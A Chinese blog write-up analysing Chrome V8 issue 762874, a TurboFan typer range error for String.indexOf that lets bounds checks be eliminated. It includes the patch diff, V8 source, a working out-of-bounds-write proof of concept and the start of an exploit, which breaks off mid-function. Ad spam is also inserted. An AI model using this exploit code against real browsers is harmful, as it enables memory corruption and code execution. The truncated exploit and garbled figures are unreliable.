【网络安全】简要分析下Chrome-V8-Issue-762874

image.png

这是A guided tour through Chrome's javascript compiler上的第二个漏洞,下面是对应的commit

在这里插入图片描述

环境搭建

用v8-action

env:
  PATCH_FLAG: true
  COMMIT: d2da19c78005c75e0f658be23c28b473dd76b93b  #这里
  DEPOT_UPLOAD: false
  SRC_UPLOAD: true
  BINARY_UPLOAD: false

编译

cd v8
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
cd ..

漏洞分析

diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index e04b1fb..251a946 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1453,7 +1453,7 @@
           return Type::String();
         case kStringIndexOf:
         case kStringLastIndexOf:
-          return Type::Range(-1.0, String::kMaxLength - 1.0, t->zone());
+          return Type::Range(-1.0, String::kMaxLength, t->zone());
         case kStringEndsWith:
         case kStringIncludes:
           return Type::Boolean();

可以看到原本的String的最大下标是Range(-1.0, kMaxLength - 1.0),因为很显然,当只有一个元素时,最大下标就是1-1->0

但是有一特殊情况:

'1234'.indexOf('', 4) == 4

不只是这样,我们可以任意长度的array,从其maxLength开始搜索空字符,返回其maxLength,而Inferred Type为range(-1,maxLength-1)这种潜在的返回值可以帮助我们数组越界,当然我们要通过indexOf源码来分析。

分享给大家技术学习资料如下内容

→点击查看【网络安全学习攻略】←

1.2000多本网络安全系列电子书
2.网络安全标准题库资料
3.项目源码
4.网络安全基础入门、Linux、web安全、攻防方面的视频
5.网络安全学习路线图

关于indexOf

str.indexOf(searchValue [, fromIndex])

返回在当前字符串中从fromIndex开始的第一个searchValue对应的下标,但是当我们像上述说的搜索空字符且从大于等于数组长度的位置搜索时,会返回数组长度(这点在下面的源码分析中会有所体现),等下用turbolizer看下生成图。

写个poc测一下,顺便看看turbolizer

function hex(i){
    return i.toString(16).padStart(16, "0");
}

function foo(x)
{
    // const maxLength = %StringMaxLength();
    // print(maxLength);
    //maxLength==2**30+25
    let a = 'A'.repeat(2**30-25).indexOf('',x);
    let b = a + 25;
    let c = b >> 30;
    let idx = 7 * c;
    // print(idx);
    let oobArray = [1.1,2.2,3.3,4.4];
    oobArray[idx] = -1;
    return oobArray;
}

for(let i=0; i<10000; i++) {
    foo(1)
}
let oob = foo(2**30-25);
console.log("[*]oob.length: "+hex(oob.length));
在这里插入图片描述

我本来想像这里的一样做,然后很简单的几步做出一个可以拿来越界的下标,但是很遗憾我本地如此求出的下标,在优化后他就是0,这个操作让人比较迷惑,另外在本地测试时最好看一下%StringMaxLength()的具体数值,那个slide里是228-16我本地是230-25还是试出来的,这是非常重要的一点。

所幸在这里看到他的exp写法,他的poc跑出结果和我不同,我本地跑出来的结果太过正常,看起来似乎没漏洞,但是返回越界写入length的array的poc在我本地倒是能跑通,感谢,不然这种莫名奇妙的错误不知会卡我多久。


在这里插入图片描述

在这一阶段时看到还有CheckBounds防止越界,但是在Simplified lowering阶段就没了那个越界检查,说明其turbofan认为这里不会越界,所以就把CheckBound给消除了,但是实际上越界了,所以会把checkbound消除(重点,这类漏洞的重点就是把一些check给消除掉。


在这里插入图片描述

这一错误的判断,也即消除checkbound是因为:
在这里插入图片描述

注意我用的不是2**28,显然turbofan在优化时确定的范围显示其不会越界,所以就会把checkbound消去,单这么看也许会觉得莫名其妙,那么我写个自己假设的修复漏洞之后的图表:


在这里插入图片描述

那么这样的话显然是不会让CheckBound消失的。

源码分析

int String::IndexOf(Isolate* isolate, Handle receiver,
                    Handle search, int start_index) {
  DCHECK(0 <= start_index);         //开始的下标大于0
  DCHECK(start_index <= receiver->length()); //开始的下标小于主字符串的长度

  uint32_t search_length = search->length();  //需要搜索字符串的长度
  if (search_length == 0) return start_index;  //如果是空字符串,返回搜索开始的下标

  uint32_t receiver_length = receiver->length();
  if (start_index + search_length > receiver_length) return -1;

  receiver = String::Flatten(receiver);
  search = String::Flatten(search);

  DisallowHeapAllocation no_gc;  // ensure vectors stay valid
  // Extract flattened substrings of cons strings before getting encoding.
  String::FlatContent receiver_content = receiver->GetFlatContent();
  String::FlatContent search_content = search->GetFlatContent();

  // dispatch on type of strings
  if (search_content.IsOneByte()) {
    Vector pat_vector = search_content.ToOneByteVector();
    return SearchString(isolate, receiver_content, pat_vector,
                                       start_index);
  }
  Vector pat_vector = search_content.ToUC16Vector();
  return SearchString(isolate, receiver_content, pat_vector,
                                  start_index);
}

利用

我们看到通过poc,可以达到构造一个越界读的数组的结果,并且这一poc的构建看起来并不算特别难,且其原理也在前面有所讲解,我相信各位通过曾经一些v8的学习,拿到可以有oob数组的poc后可以很快的写出其exp,有越界数组之后的操作就不再多说

另外这个v8的版本挺老的v6.3的,我用wasm时候没触发应该是这个版本还不支持,最后直接拿这里所说的jit稍加修改:

function hex(i)
{
    return i.toString(16).padStart(16, "0");
}

const MAX_ITERATIONS = 10000;
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);

function f2i(val)
{ 
    f64[0] = val;
    let tmp = Array.from(u32);
    return tmp[1] * 0x100000000 + tmp[0];
}

function i2f(val)
{
    let tmp = [];
    tmp[0] = parseInt(val % 0x100000000);
    tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
在这里插入图片描述

我也一直在思考shellcode跑不通的原因,每次都是display的环境变量和别人不一样,如果你用我的exp跑不通,也可以去进行新的尝试。

关注私信回复“资料”获取

你可能感兴趣的:(【网络安全】简要分析下Chrome-V8-Issue-762874)